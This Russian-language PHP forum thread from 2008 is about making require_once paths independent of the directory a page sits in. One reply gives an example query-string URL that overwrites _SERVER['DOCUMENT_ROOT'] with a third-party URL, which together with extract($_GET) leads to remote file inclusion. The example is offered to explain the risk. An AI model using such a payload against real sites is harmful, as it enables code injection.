Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

Как оптимизировать параметр require_once?

367
13 сентября 2008 года
Meatcoins
303 / / 18.01.2006
Шаблон сайта выглядит так:
 
Код:
<?php
require_once "top.php";
?>

<?php
require_once "bottom.php";
?>


Допустим какая-то страничка находится в папке /some/ на сервере.
Если я там пишу так:
 
Код:
<?php
require_once "/top.php";
?>

<?php
require_once "/bottom.php";
?>

То это не работает!!!
Приходится писать так:
 
Код:
<?php
require_once "../top.php";
?>

<?php
require_once "../bottom.php";
?>

А если страничка находится в папке /dur/subdir/sub_subdir/
То приходится писать вот так:
 
Код:
<?php
require_once "../../../top.php";
?>

<?php
require_once "../../../bottom.php";
?>

Как решить эту проблему?
Хотелось бы чтобы везде было написано одно и то же!
353
13 сентября 2008 года
Nixus
840 / / 04.01.2007
require($_SERVER["DOCUMENT_ROOT"]."/inc/header.php");
2.1K
13 сентября 2008 года
wAngel
129 / / 23.11.2004
Добавляешь константу с полным путем от корня сервера до твоего каталога и везде вместо относительных путей пишешь абсолютные.

--
Пока отвечал после хорошо отмеченного проф. праздника, меня опередили :)
367
13 сентября 2008 года
Meatcoins
303 / / 18.01.2006
Спасибо! Работает!
285
13 сентября 2008 года
Romik
479 / / 24.11.2002
Цитата: Nixus
require($_SERVER["DOCUMENT_ROOT"]."/inc/header.php");



использование $_SERVER не всегда может быть безопасным

 
Код:
$DOCUMENT_ROOT = getenv("DOCUMENT_ROOT");

require_once( $DOCUMENT_ROOT."/inc/header.php" );
244
13 сентября 2008 года
UAS
2.0K / / 19.07.2006
Цитата: Romik
использование $_SERVER не всегда может быть безопасным


Кстати, не знаете почему? Тоже об этом слышал но вот почему - вменяемого ответа не слышал..

367
13 сентября 2008 года
Meatcoins
303 / / 18.01.2006
Может пример кто-то сможет привести...
353
13 сентября 2008 года
Nixus
840 / / 04.01.2007
Цитата: Romik
использование $_SERVER не всегда может быть безопасным


Например?

285
14 сентября 2008 года
Romik
479 / / 24.11.2002
http://example.com/page.php?_SERVER['DOCUMENT_ROOT']=http://thirdpaty.com/page.txt?!!

позже вы пытаетесь инклудить эту строку, после возможного extract($_GET); Конечно, такое стечение фактов весьма странное, потому что надо быть имбецилом, чтобы экстрактить $_GET, но те кто поддерживают старый код, знают что это реальность :-)
353
14 сентября 2008 года
Nixus
840 / / 04.01.2007
Цитата: Romik
http://example.com/page.php?_SERVER['DOCUMENT_ROOT']=http://thirdpaty.com/page.txt?!!

позже вы пытаетесь инклудить эту строку, после возможного extract($_GET); Конечно, такое стечение фактов весьма странное, потому что надо быть имбецилом, чтобы экстрактить $_GET, но те кто поддерживают старый код, знают что это реальность :-)



В данном случае дыра не в использовании $_SERVER, а в использовании extract. При нем может затерется и куча других переменных.

Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог